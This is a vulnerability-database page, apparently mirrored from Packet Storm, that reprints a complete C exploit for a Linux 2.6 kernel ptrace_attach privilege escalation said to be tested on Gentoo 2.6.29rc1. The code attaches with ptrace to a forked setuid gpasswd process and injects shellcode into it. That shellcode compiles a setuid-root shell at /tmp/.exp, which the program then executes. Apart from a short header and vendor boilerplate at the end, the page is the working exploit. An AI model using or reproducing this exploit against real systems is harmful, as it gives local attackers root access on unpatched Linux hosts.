Lucene search
K

Linux 2.6 Kernel ptrace_attach Privilege Escalation

🗓️ 14 May 2009 00:00:00Reported by s0m3b0dyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Linux 2.6 Kernel ptrace_attach Privilege Escalation exploit using shellcode for Gentoo 2.6.29rc

Code
`/*  
ptrace_attach privilege escalation exploit by s0m3b0dy  
  
[*] tested on Gentoo 2.6.29rc1  
  
grataz:  
Tazo, rassta, nukedclx, maciek, D0hannuk, mivus, wacky, nejmo, filo...  
  
email: s0m3b0dy1 (at) gmail.com  
*/  
  
#include <grp.h>  
#include <stdio.h>  
#include <fcntl.h>  
#include <errno.h>  
#include <paths.h>  
#include <string.h>  
#include <stdlib.h>  
#include <signal.h>  
#include <unistd.h>  
#include <sys/wait.h>  
#include <sys/stat.h>  
#include <sys/param.h>  
#include <sys/types.h>  
#include <sys/ptrace.h>  
#include <sys/socket.h>  
char shellcode[] =  
"\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99"   
"\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"  
"\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff"  
"echo \"#include <stdio.h>\nmain(){setuid(0);if(getuid()==0) printf(\\\"r00teed!\\n\\\");execv(\\\"/bin/bash\\\",0);return 0;}\" > /tmp/.exp.c;gcc /tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tmp/.exp;exit;";  
struct user_regs_struct322 {  
unsigned long ebx, ecx, edx, esi, edi, ebp, eax;  
unsigned short ds, __ds, es, __es;  
unsigned short fs, __fs, gs, __gs;  
unsigned long orig_eax, eip;  
unsigned short cs, __cs;  
unsigned long eflags, esp;  
unsigned short ss, __ss;  
};  
  
main()  
{  
struct user_regs_struct322 regs;  
struct stat buf;  
int i,o;  
unsigned long * src;  
unsigned long * dst;  
char *env[2];  
env[0]="/usr/bin/gpasswd"; // some suid file  
env[1]=0;  
if((o=fork()) == 0)  
{  
execve(env[0],env,0);  
exit(0);  
}  
if(ptrace(PTRACE_ATTACH,o,0,0)==-1)  
{  
printf("\n[-] Attach\n");  
exit(0);  
}  
wait((int *)0);  
if (ptrace(PTRACE_GETREGS, o, NULL, &regs) == -1){  
printf("\n[-] read registers\n");  
exit(0);  
}  
printf( "[+] EIP - 0x%08lx\n", regs.eip);  
dst= (unsigned long *) regs.eip;  
src = (unsigned long *) shellcode;  
for(i=0;i<sizeof(shellcode) -1;i+=4)  
if (ptrace(PTRACE_POKETEXT, o, dst++, *src++) == -1){  
printf("\n[-] write shellcode\n");  
exit(0);  
}  
ptrace(PTRACE_CONT, o, 0, 0);  
ptrace(PTRACE_DETACH,o,0,0);  
printf("[+] Waiting for root...\n");  
sleep(2);  
if(!stat("/tmp/.exp",&buf))  
{  
printf("[+] Executing suid shell /tmp/.exp...\n");   
execv("/tmp/.exp",0);  
}  
else  
{  
printf("[-] Damn no r00t here :(\n");  
}  
return 0;  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation